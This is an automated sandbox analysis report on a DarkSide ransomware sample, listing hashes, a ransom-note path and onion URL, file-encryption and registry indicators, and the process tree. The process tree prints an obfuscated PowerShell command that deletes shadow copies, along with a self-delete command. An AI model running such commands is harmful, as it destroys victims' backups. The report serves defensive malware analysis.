Analysis
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max time kernel
137s -
max time network
143s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
18-05-2021 20:48
Static task
static1
Behavioral task
behavioral1
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win10v20210410
General
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Target
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
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Size
59KB
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MD5
9d418ecc0f3bf45029263b0944236884
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SHA1
eeb28144f39b275ee1ec008859e80f215710dc57
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SHA256
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
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SHA512
82ced42a32f18ede4358459e08bed1adff85d49c952aca7a086571c5b71fd8b3185ea4306abd1f4e639a12f11161f43c73bf6049d76902d365c5a5e4c7e71f3d
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 19 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\FindShow.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\OptimizeReset.tiff 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\StopUndo.raw => C:\Users\Admin\Pictures\StopUndo.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\SwitchSkip.raw => C:\Users\Admin\Pictures\SwitchSkip.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\SwitchSkip.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\WatchUnprotect.png.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\ReceiveReset.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\WatchUnprotect.png => C:\Users\Admin\Pictures\WatchUnprotect.png.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\AssertBlock.tiff => C:\Users\Admin\Pictures\AssertBlock.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\FindShow.tiff 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\FindShow.tiff => C:\Users\Admin\Pictures\FindShow.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\OptimizeReset.tiff => C:\Users\Admin\Pictures\OptimizeReset.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\OptimizeReset.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\ReceiveReset.raw => C:\Users\Admin\Pictures\ReceiveReset.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\AssertBlock.tiff.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\PopInstall.crw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\AssertBlock.tiff 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\PopInstall.crw => C:\Users\Admin\Pictures\PopInstall.crw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\StopUndo.raw.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Modifies registry class 5 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exe151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exepid process 2152 powershell.exe 2152 powershell.exe 2152 powershell.exe 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSecurityPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeTakeOwnershipPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeLoadDriverPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemProfilePrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemtimePrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeProfSingleProcessPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeIncBasePriorityPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeCreatePagefilePrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeBackupPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeRestorePrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeShutdownPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeDebugPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemEnvironmentPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeRemoteShutdownPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeUndockPrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeManageVolumePrivilege 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 33 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 34 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 35 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 36 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeDebugPrivilege 2152 powershell.exe Token: SeBackupPrivilege 1852 vssvc.exe Token: SeRestorePrivilege 1852 vssvc.exe Token: SeAuditPrivilege 1852 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription pid process target process PID 3872 wrote to memory of 2152 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 3872 wrote to memory of 2152 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 3872 wrote to memory of 4816 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe PID 3872 wrote to memory of 4816 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe PID 3872 wrote to memory of 4816 3872 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe"C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\151FBD~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
0c2d3bf4ba8eb3735234f262ae3bddc5
SHA1997f7a1adf15a0c0982a5a37f0c83129b655c51d
SHA256e6548f346089f0597561abe61ebfd2d7a218ff647478c75896a009ec44d606c1
SHA512032a645383358790fbfd0c95767f22a1a027a291298ac51d6d9d404c3e3a40f4fede9aff92f7e9a71e28831a6ecb278be04130c893f20ef17ea016dd967337f0
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memory/2152-114-0x0000000000000000-mapping.dmp
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memory/2152-120-0x00000188ED380000-0x00000188ED381000-memory.dmpFilesize
4KB
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memory/2152-125-0x00000188ED530000-0x00000188ED531000-memory.dmpFilesize
4KB
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memory/2152-131-0x00000188E9633000-0x00000188E9635000-memory.dmpFilesize
8KB
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memory/2152-130-0x00000188E9630000-0x00000188E9632000-memory.dmpFilesize
8KB
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memory/2152-132-0x00000188E9636000-0x00000188E9638000-memory.dmpFilesize
8KB
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memory/4816-144-0x0000000000000000-mapping.dmp